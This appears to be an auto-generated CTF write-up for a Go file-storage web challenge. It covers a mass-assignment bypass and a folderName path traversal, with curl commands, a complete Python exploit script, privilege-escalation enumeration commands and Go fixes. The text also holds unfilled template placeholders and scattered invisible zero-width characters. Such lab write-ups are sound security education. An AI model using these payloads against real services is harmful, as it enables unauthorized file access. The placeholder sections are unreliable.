← Back to Writeups
HTBN/AWeb

90 - Самое надежное хранилище (The Most Secure Storage)

XESXOR8/23/20264 min read
#web#htb#n/a

90 - Самое надежное хранилище (The Most Secure Storage)

Platform: Duckerz CTF | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-15 | Status: Solved Techniques: jwt_authentication, mass_assignment_bypass, path_traversal_via_parameter

Summary

Task: Go file storage with JWT authentication. Solution: Mass assignment to set is_paid=true during registration, then path traversal via unsanitized folderName parameter to read flag.txt from root directory.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: duckerz | ID: 20260115_duckerz_secure_storage
  • Tags: path_traversal, jwt, go, file_storage, mass_assignment, json_injection
  • Indicators: json.Unmarshal into struct with sensitive fields, filepath.Join without sanitization, is_paid/premium flag in user struct, folder parameter in URL
  • Source: 20260115_duckerz_secure_storage.md

Foothold

Vulnerability / Misconfiguration

  1. Jwt_authentication
  2. Mass_assignment_bypass
  3. Path_traversal_via_parameter
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • jwt_authentication
  • mass_assignment_bypass
  • path_traversal_via_parameter
  • Tags: path_traversal, jwt, go, file_storage, mass_assignment, json_injection

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Решил переделать надежное хранилище, в самое надежное хранилище. Теперь ваши файлы будут защищены, честно...

(Decided to remake the secure storage into the most secure storage. Now your files will be protected, honestly...)

Analysis

The application is a file storage service written in Go with JWT authentication. Source code analysis revealed two critical vulnerabilities. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability 1: Mass Assignment / JSON Injection

In the signUpRoutePost function, form data is directly deserialized into the User struct:

data := c.FormValue("data")
if err := json.Unmarshal([]byte(data), &user); err != nil {
    return c.String(http.StatusBadRequest, "Invalid data")
}

The User struct contains an IsPaid field that determines access to premium features:

type User struct {
    UserId   int64  `json:"user_id"`
    Username string `json:"username"`
    Password string `json:"password"`
    IsPaid   bool   `json:"is_paid"`
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Problem: The is_paid field can be set during registration, bypassing the payment check.

Vulnerability 2: Path Traversal in folderName Parameter

In the downloadFileFromFolderRouteGet and folderRouteGet functions, the folderName parameter is not sanitized:

// Protection is applied only to the file parameter, but NOT to folderName!
fileSplit := strings.Split(file, "/")
return c.File(filepath.Join(userRootPath, folderName, fileSplit[len(fileSplit)-1]))

Problem: You can use ../ in folderName to escape the user's directory. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Registration with is_paid: true

curl -X POST "http://tasks.duckerz.ru:30067/signup" \
  -d 'data={"username":"hacker","password":"password123","is_paid":true}' \
  -c cookies.txt

This creates a user with premium access and saves the JWT token to cookies.txt.

Step 2: Listing Root Directory via Path Traversal

curl --path-as-is -b cookies.txt "http://tasks.duckerz.ru:30067/folder/../.."

Important: The --path-as-is flag prevents URL normalization in curl, preserving ../ in the request. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The response shows the contents of the application's root directory, including flag.txt.

Step 3: Downloading the Flag

curl --path-as-is -b cookies.txt "http://tasks.duckerz.ru:30067/file/flag.txt/folder/../.."

Exploit (Python)

#!/usr/bin/env python3
"""
Exploit for "Самое надежное хранилище" (The Most Secure Storage)
DUCKERZ CTF - Task 90

Vulnerabilities:
1. Mass Assignment - set is_paid=true during registration
2. Path Traversal - unsanitized folderName parameter
"""

import requests
import random
import string
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

BASE_URL = "http://tasks.duckerz.ru:30067"

def random_username():
    return ''.join(random.choices(string.ascii_lowercase, k=8))

def exploit():
    session = requests.Session()
    
    # Step 1: Register with is_paid=true (Mass Assignment)
    username = random_username()
    payload = {
        "username": username,
        "password": "password123",
        "is_paid": True  # Bypass payment check
    }
    
    print(f"[*] Registering user '{username}' with is_paid=true...")
    resp = session.post(
        f"{BASE_URL}/signup",
        data={"data": str(payload).replace("'", '"').replace("True", "true")}
    )
    
    if "auth" not in session.cookies:
        print("[-] Registration failed")
        return
    
    print("[+] Registration successful, got JWT token")
    
    # Step 2: List root directory via path traversal
    print("[*] Listing root directory...")
    resp = session.get(f"{BASE_URL}/folder/../..")
    print(f"[*] Directory contents: {resp.text[:200]}...")
    
    # Step 3: Download flag.txt
    print("[*] Downloading flag.txt...")
    resp = session.get(f"{BASE_URL}/file/flag.txt/folder/../..")
    
    if "DUCKERZ{" in resp.text:
        print(f"[+] Flag: {resp.text.strip()}")
    else:
        print(f"[-] Response: {resp.text}")
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

if __name__ == "__main__":
    exploit()

Defense

Against Mass Assignment:

// Use a separate struct for registration
type SignUpRequest struct {
    Username string `json:"username"`
    Password string `json:"password"`
    // Do NOT include is_paid!
}

Against Path Traversal:

// Validate ALL path parameters
func sanitizePath(input string) string {
    // Remove all ../ and ./
    cleaned := filepath.Clean(input)
    // Check that path doesn't escape
    if strings.Contains(cleaned, "..") {
        return ""
    }
    return filepath.Base(cleaned)
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

References

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR